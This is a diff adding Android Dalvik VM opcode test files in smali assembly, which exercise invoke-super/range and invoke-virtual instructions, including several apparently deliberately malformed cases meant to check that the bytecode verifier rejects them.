diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25.smali
new file mode 100644
index 0000000..95d498e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_25.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 4
+
+       new-instance v3, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25;
+       invoke-super/range {v3}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_25;->toInt()I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4.smali
new file mode 100644
index 0000000..2394cae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_4.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_4;->toIntNative()I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_5.smali
new file mode 100644
index 0000000..995a333
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_5.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_5.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_5;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 3
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;->toIntStatic()I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_6.smali
new file mode 100644
index 0000000..11b46c8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_6.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_6;
+.super  Ldot/junit/opcodes/invoke_super_range/ATest;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/ATest;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/ATest;->test()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7.smali
new file mode 100644
index 0000000..34bca35
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_7.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7;
+.super  Ldot/junit/opcodes/invoke_super_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-super/range {v2}, Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_7;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_8.smali
new file mode 100644
index 0000000..476b480
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_8.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_8.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+     
+       invoke-super/range {v6..v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_9.smali
new file mode 100644
index 0000000..4e123c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_range_9.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/T_invoke_super_range_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-super/range {v7..v8}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TPlain.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TPlain.smali
new file mode 100644
index 0000000..4ef0b1b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TPlain.smali

@@ -0,0 +1,31 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TPlain.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/TPlain;
+.super   Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 5
+    return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper2.smali
new file mode 100644
index 0000000..892f503
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/TSuper2.smali

@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TSuper2.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/TSuper2;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public test()I 
+.registers 3
+    const v0, 123
+    return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_1.smali
new file mode 100644
index 0000000..7002877
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_1.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_1.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual {v6, v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10.smali
new file mode 100644
index 0000000..a9da3d1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_10.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10;
+.super  Ljava/lang/Object;
+
+.method static constructor <clinit>()V
+.registers 0
+    return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+    invoke-virtual {v0}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_10;-><clinit>()V
+    return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_11.smali
new file mode 100644
index 0000000..9be2f87
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_11.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_11.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual {v6}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12.smali
new file mode 100644
index 0000000..e66dbe4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12.smali

@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_12.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public test(Ljava/lang/String;)V
+.registers 2
+    return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual {v5, v7}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_12;->test(Ljava/lang/String;)V
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13.smali
new file mode 100644
index 0000000..cb93839
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13.smali

@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_13.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_13;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14.smali
new file mode 100644
index 0000000..91af3bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14.smali

@@ -0,0 +1,56 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_14.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 7
+
+    const v1, 123
+    const v2, 659
+    
+    const v3, 300
+    const v4, 3
+
+    invoke-virtual {v6, v3, v4}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_14;->testArgsOrder(II)I
+
+    move-result v3
+    const v4, 100
+    if-ne v3, v4, :Label0
+
+    const v4, 123
+    if-ne v1, v4, :Label0
+
+    const v4, 659
+    if-ne v2, v4, :Label0
+    
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15.smali
new file mode 100644
index 0000000..26b4618
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15.smali

@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_15.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_15;->testN()V
+       return-void
+.end method
+
+.method public test()V
+.registers 1
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_16.smali
new file mode 100644
index 0000000..eaa2c32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_16.smali

@@ -0,0 +1,26 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_16.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+       invoke-virtual {v2}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17.smali
new file mode 100644
index 0000000..9a6b02e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_17.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_17;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_18.smali
new file mode 100644
index 0000000..8d52784
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_18.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_18.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_virtual/TestStubs;)V
+.registers 5
+       invoke-virtual {v4}, Ldot/junit/opcodes/invoke_virtual/TestStubs;->TestStub()V
+:Label6
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19.smali
new file mode 100644
index 0000000..cf571ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_19.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const/4 v2, 1
+       invoke-virtual {v3, v2}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_19;->toInt(I)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_20.smali
new file mode 100644
index 0000000..d96b8c4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_20.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_20.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_20;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_virtual/TestStubs;)V
+.registers 5
+:Label0
+
+       invoke-virtual {v4}, Ldot/junit/opcodes/invoke_virtual/TestStubs;->TestStubP()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_22.smali
new file mode 100644
index 0000000..514d30a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_22.smali

@@ -0,0 +1,39 @@
